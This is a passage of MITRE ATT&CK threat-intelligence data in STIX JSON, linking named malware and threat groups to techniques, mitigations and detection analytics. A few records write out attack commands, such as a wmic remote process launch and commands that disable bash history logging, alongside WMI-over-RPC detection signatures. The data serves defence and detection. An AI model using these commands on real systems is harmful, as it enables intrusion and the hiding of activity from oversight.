"https://usa.visa.com/dam/VCOM/download/merchants/alert-rawpos.pdf"}], "modified": "2020-03-30T03:01:39.658Z", "description": "[RawPOS](https://attack.mitre.org/software/S0169) encodes credit card data it collected from the victim with XOR.(Citation: TrendMicro RawPOS April 2015)(Citation: Mandiant FIN5 GrrCON Oct 2016)(Citation: Visa RawPOS March 2015)", "relationship_type": "uses", "source_ref": "malware--9752aef4-a1f3-4328-929f-b64eb0536090", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53ae8545-a24d-431c-a0ee-6d5b63278490", "created": "2024-03-19T17:18:34.056Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Pulse Secure Zero-Day April 2021", "description": "Perez, D. et al. (2021, April 20). Check Your Pulse: Suspected APT Actors Leverage Authentication Bypass Techniques and Pulse Secure Zero-Day. Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-19T17:21:35.823Z", "description": "[STEADYPULSE](https://attack.mitre.org/software/S1112) can transmit URL encoded data over C2.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--ca0fead6-5277-427a-825b-42ff1fbe476e", "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53b041d2-4250-473e-b7c6-3b05fcdf3d3f", "created": "2020-12-30T17:56:42.438Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-15T14:40:03.068Z", "description": "Use the principal of least privilege and protect administrative access to domain trusts and identity tenants.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--53b64a61-b521-4767-9c3a-bb73d518aa15", "created": "2022-05-04T22:29:37.326Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "ESET Gelsemium June 2021", "url": "https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf", "description": "Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Chrommme](https://attack.mitre.org/software/S0667) can decrypt its encrypted internal code.(Citation: ESET Gelsemium June 2021)", "modified": "2022-05-04T22:29:37.326Z", "relationship_type": "uses", "source_ref": "malware--579607c2-d046-40df-99ab-beb479c37a2a", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53b93d5c-8f99-43a0-a356-378ad61634d6", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T18:18:28.483Z", "description": "Monitor network traffic for WMI connections for potential use to remotely edit configuration, start services, or query files. When remote WMI requests are over RPC it connects to a DCOM interface within the RPC group <code>netsvcs</code>. To detect this activity, a sensor is needed at the network level that can decode RPC traffic or on the host where the communication can be detected more natively, such as\u00a0Event Tracing for Windows. Using wireshark/tshark decoders, the WMI interfaces can be extracted so that WMI activity over RPC can be detected. Although the description details how to detect remote WMI precisely, a decent estimate has been to look for the string RPCSS within the initial RPC connection on 135/tcp. It returns a superset of this activity, and will trigger on all DCOM-related services running within RPC, which is likely to also be activity that should be detected between hosts. More about RPCSS at :\u00a0rpcss_dcom_interfaces.html\n\nLook for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.\n\nAfter the WMI connection has been initialized, a process can be remotely launched using the command:\u00a0<code>wmic /node:\"<hostname>\" process call create \"<command line>\"</code>, which is detected in the third Detection Pseudocode. \n\nThis leaves artifacts at both a network (RPC) and process (command line) level. When <code>wmic.exe</code> (or the schtasks API) is used to remotely create processes, Windows uses RPC (135/tcp) to communicate with the the remote machine.\n\nAfter RPC authenticates, the RPC endpoint mapper opens a high port connection, through which the schtasks Remote Procedure Call is actually implemented. With the right packet decoders, or by looking for certain byte streams in raw data, these functions can be identified.\n\nWhen the command line is executed, it has the parent process of\u00a0<code>C:\\windows\\system32\\wbem\\WmiPrvSE.exe</code>. This analytic looks for these two events happening in sequence, so that the network connection and target process are output.\n\nCertain strings can be identifiers of the WMI by looking up the interface UUID for <code>IRemUnknown2</code> in different formats\n- UUID\u00a0<code>00000143-0000-0000-c000-000000000046</code>\u00a0(decoded)\n- Hex\u00a0<code>43 01 00 00 00 00 00 00 c0 00 00 00 00 00 00 46</code>\u00a0(raw)\n- ASCII\u00a0<code>CF</code>\u00a0(printable text only)\n\nThis identifier is present three times during the RPC request phase. Any sensor that has access to the byte code as raw, decoded, or ASCII could implement this analytic. The transfer syntax is\n- UUID\u00a0<code>8a885d04-1ceb-11c9-9fe8-08002b104860</code>\u00a0(decoded)\n- Hex\u00a0<code>04 5d 88 8a eb 1c c9 11 9f e8 08 00 2b 10 48 60</code>\u00a0(raw)\n- ASCII <code>`]+H``</code> (printable text only)\n\nThus, a great ASCII based signature is\n- <code>*CF*]+H*CF*CF*host*\"</code>\n\nNote: To detect WMI over RPC (using DCOM), a sensor needs to exist that has the insight into individual connections and can actually decode and make sense of RPC traffic. Specifically, WMI can be detected by looking at RPC traffic where the target interface matches that of WMI, which is IRemUnknown2. Look for instances of the WMI querying in network traffic, and find the cases where a process is launched immediately after a connection is seen. This essentially merges the request to start a remote process via WMI with the process execution. If other processes are spawned from\u00a0wmiprvse.exe in this time frame, it is possible for race conditions to occur, and the wrong process may be merged. If this is the case, it may be useful to look deeper into the network traffic to see if the desired command can be extracted.\n\nAnalytic 1 - Remote WMI over RPC\n\n<code>source=\"*Zeek:RPC\" dest_port=\"135\" protocol_rpc_interface=\"IRemUnknown2\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53c22ca9-b02f-4a45-adc6-cf7763a2c6a9", "type": "relationship", "created": "2020-01-19T16:54:28.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-04-01T14:08:24.096Z", "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", "relationship_type": "mitigates", "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f", "target_ref": "attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53c8de3e-f862-44d5-be7e-274e14bdd57e", "type": "relationship", "created": "2020-05-21T17:07:02.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCCGroup RokRat Nov 2018", "url": "https://research.nccgroup.com/2018/11/08/rokrat-analysis/", "description": "Pantazopoulos, N.. (2018, November 8). RokRat Analysis. Retrieved May 21, 2020."}], "modified": "2021-03-29T19:50:54.290Z", "description": "[ROKRAT](https://attack.mitre.org/software/S0240) can request to delete files.(Citation: NCCGroup RokRat Nov 2018)\t", "relationship_type": "uses", "source_ref": "malware--60a9c2f0-b7a5-4e8e-959c-e1a3ff314a5f", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53c8e757-8043-4d08-8bd6-8d02d2b973cb", "type": "relationship", "created": "2019-10-04T22:16:08.175Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", "url": "https://content.fireeye.com/apt/rpt-apt38", "source_name": "FireEye APT38 Oct 2018"}], "modified": "2019-10-04T22:16:08.175Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK, which will initiate a system reboot after wiping the victim's MBR.(Citation: FireEye APT38 Oct 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53cc6b0b-66ec-4f7d-a725-f65b076b5428", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Sednit Part 2", "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"}], "modified": "2020-03-16T15:53:20.489Z", "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can delete files and directories.(Citation: ESET Sednit Part 2)", "relationship_type": "uses", "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53cfa0ee-9802-4abb-8be5-7411095dbe8f", "type": "relationship", "created": "2020-10-02T15:59:11.783Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-10-02T15:59:11.783Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", "target_ref": "attack-pattern--9d48cab2-7929-4812-ad22-f536665f0109", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53d441a4-d6ba-46b2-aa56-91b3f232c67a", "created": "2019-09-12T19:07:13.185Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Fysbis Dr Web Analysis", "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. 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Retrieved October 27, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ThreatNeedle](https://attack.mitre.org/software/S0665) can collect system profile information from a compromised host.(Citation: Kaspersky ThreatNeedle Feb 2021)", "modified": "2022-04-13T13:20:08.961Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--16040b1c-ed28-4850-9d8f-bb8b81c42092", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53da73de-7983-4517-8e59-a1b305fcfac0", "type": "relationship", "created": "2021-04-13T13:13:10.399Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ANSSI Sandworm January 2021", "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2021-CTI-005.pdf", "description": "ANSSI. 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Retrieved March 24, 2021."}], "modified": "2021-03-25T15:10:31.960Z", "description": "[ZIRCONIUM](https://attack.mitre.org/groups/G0128) has used AES encrypted communications in C2.(Citation: Zscaler APT31 Covid-19 October 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--4283ae19-69c7-4347-a35e-b56f08eb660b", "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53dc0b4d-d546-431f-b92a-de10beb3bdf3", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--53e09f15-3162-4480-8eb4-709e9c18d7fb", "created": "2018-10-17T00:14:20.652Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "CISA AR18-352A Quasar RAT December 2018", "url": "https://www.cisa.gov/uscert/ncas/analysis-reports/AR18-352A", "description": "CISA. (2018, December 18). Analysis Report (AR18-352A) Quasar Open-Source Remote Administration Tool. Retrieved August 1, 2022."}, {"source_name": "GitHub QuasarRAT", "url": "https://github.com/quasar/QuasarRAT", "description": "MaxXor. (n.d.). QuasarRAT. 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(2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.", "url": "https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-10T22:37:19.417Z", "description": "[TA505](https://attack.mitre.org/groups/G0092) has password-protected malicious Word documents.(Citation: Proofpoint TA505 Sep 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--53e9613e-a929-492a-885e-495ec3f4df9a", "created": "2023-06-14T19:13:59.436Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023", "description": "FBI et al. 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Monitor specifically for events related to activation of instances that are occurring outside of normal activity/planned operations. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.", "source_ref": "x-mitre-data-component--f8213cde-6b3a-420d-9ab7-41c9af1a919f", "target_ref": "attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53f4758c-ffc1-4e93-8eb0-bd3f664de7d1", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).", "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53f5aaf3-b4de-4e31-bf50-a297bb8b61ca", "type": "relationship", "created": "2021-09-07T14:30:30.832Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf", "description": "Huss, D. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", "source_name": "Proofpoint Operation Transparent Tribe March 2016"}], "modified": "2021-10-15T14:37:09.933Z", "description": "[Crimson](https://attack.mitre.org/software/S0115) can determine when it has been installed on a host for at least 15 days before downloading the final payload.(Citation: Proofpoint Operation Transparent Tribe March 2016)", "relationship_type": "uses", "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", "target_ref": "attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--53fb076c-5f59-45da-bbc2-94b5f3a3eb91", "type": "relationship", "created": "2022-03-22T15:05:00.439Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Microsoft NICKEL December 2021", "url": "https://www.microsoft.com/security/blog/2021/12/06/nickel-targeting-government-organizations-across-latin-america-and-europe", "description": "MSTIC. (2021, December 6). NICKEL targeting government organizations across Latin America and Europe. Retrieved March 18, 2022."}], "modified": "2022-03-22T15:05:00.439Z", "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has performed frequent and scheduled data collection from victim networks.(Citation: Microsoft NICKEL December 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5401a61d-a795-4619-aa7e-fdf54cd4358e", "type": "relationship", "created": "2020-03-25T18:30:50.111Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-16T12:53:42.562Z", "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\n<code>set +o history</code> and <code>set -o history</code> to start logging again;\n<code>unset HISTFILE</code> being added to a user's .bash_rc file; and\n<code>ln -s /dev/null ~/.bash_history</code> to write commands to <code>/dev/null</code>instead.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5403aad2-3840-4b49-8124-961e1a24d044", "type": "relationship", "created": "2022-03-07T20:21:57.238Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCSC Cyclops Blink February 2022", "url": "https://www.ncsc.gov.uk/files/Cyclops-Blink-Malware-Analysis-Report.pdf", "description": "NCSC. (2022, February 23). Cyclops Blink Malware Analysis Report. Retrieved March 3, 2022."}], "modified": "2022-03-07T20:21:57.238Z", "description": "[Cyclops Blink](https://attack.mitre.org/software/S0687) can upload files from a compromised host.(Citation: NCSC Cyclops Blink February 2022)", "relationship_type": "uses", "source_ref": "malware--b350b47f-88fe-4921-8538-6d9c59bac84e", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5406867b-20fe-43e3-bd64-6816ba340b60", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", "source_name": "Symantec Elderwood Sept 2012"}], "modified": "2021-01-06T19:32:29.093Z", "description": "(Citation: Symantec Elderwood Sept 2012)", "relationship_type": "uses", "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", "target_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5408c62f-55e0-4480-8449-ec3c191b66b8", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://objective-see.com/blog/blog_0x25.html", "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", "source_name": "objsee mac malware 2017"}], "modified": "2019-06-24T19:03:52.632Z", "description": "[Proton](https://attack.mitre.org/software/S0279) modifies the tty_tickets line in the sudoers file.(Citation: objsee mac malware 2017)", "relationship_type": "uses", "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", "target_ref": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--5409161f-242a-4e80-b908-ffd1537709a9", "created": "2022-03-30T14:26:51.866Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for changes made to firmware for unexpected modifications to settings and/or data that may be used by rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. ", "modified": "2022-04-11T17:23:22.043Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--b9d031bb-d150-4fc6-8025-688201bf3ffd", "target_ref": "attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--540937b6-1afd-4f8b-8deb-c1c4f6456ce7", "type": "relationship", "created": "2020-03-27T12:10:23.764Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T12:18:44.450Z", "description": "Applications with known vulnerabilities or known shell escapes should not have the setuid or setgid bits set to reduce potential damage if an application is compromised. Additionally, the number of programs with setuid or setgid bits set should be minimized across a system. Ensuring that the sudo tty_tickets setting is enabled will prevent this leakage across tty sessions.", "relationship_type": "mitigates", "source_ref": "course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5409a62e-d298-4026-8829-550306e8e4a6", "type": "relationship", "created": "2020-07-23T14:20:48.735Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trustwave GoldenSpy June 2020", "url": "https://www.trustwave.com/en-us/resources/library/documents/the-golden-tax-department-and-the-emergence-of-goldenspy-malware/", "description": "Trustwave SpiderLabs. (2020, June 25). The Golden Tax Department and Emergence of GoldenSpy Malware. Retrieved July 23, 2020."}], "modified": "2020-07-23T14:20:48.735Z", "description": "[GoldenSpy](https://attack.mitre.org/software/S0493) has exfiltrated host environment information to an external C2 domain via port 9006.(Citation: Trustwave GoldenSpy June 2020)\t", "relationship_type": "uses", "source_ref": "malware--b9704a7d-feef-4af9-8898-5280f1686326", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--540aa8c9-2a16-4c8a-be79-8dbd2d5d0ef4", "created": "2022-04-06T19:34:23.202Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes LazyScripter Feb 2021", "url": "https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf", "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 24, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Koadic](https://attack.mitre.org/software/S0250) has used HTTP for C2 communications.(Citation: MalwareBytes LazyScripter Feb 2021)", "modified": "2022-04-06T19:34:23.202Z", "relationship_type": "uses", "source_ref": "tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--5410e6d1-1ec5-4cb9-9647-378f2266f774", "type": "relationship", "created": "2021-11-12T19:30:36.101Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). Diavol - A New Ransomware Used By Wizard Spider?. Retrieved November 12, 2021."}], "modified": "2022-03-09T19:52:52.989Z", "description": " After encryption, [Diavol](https://attack.mitre.org/software/S0659) will capture the desktop background window, set the background color to black, and change the desktop wallpaper to a newly created bitmap image with the text \u201cAll your files are encrypted! For more information see \u201cREADME-FOR-DECRYPT.txt\".(Citation: Fortinet Diavol July 2021)", "relationship_type": "uses", "source_ref": "malware--4e9bdf9a-4957-47f6-87b3-c76898d3f623", "target_ref": "attack-pattern--8c41090b-aa47-4331-986b-8c9a51a91103", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, 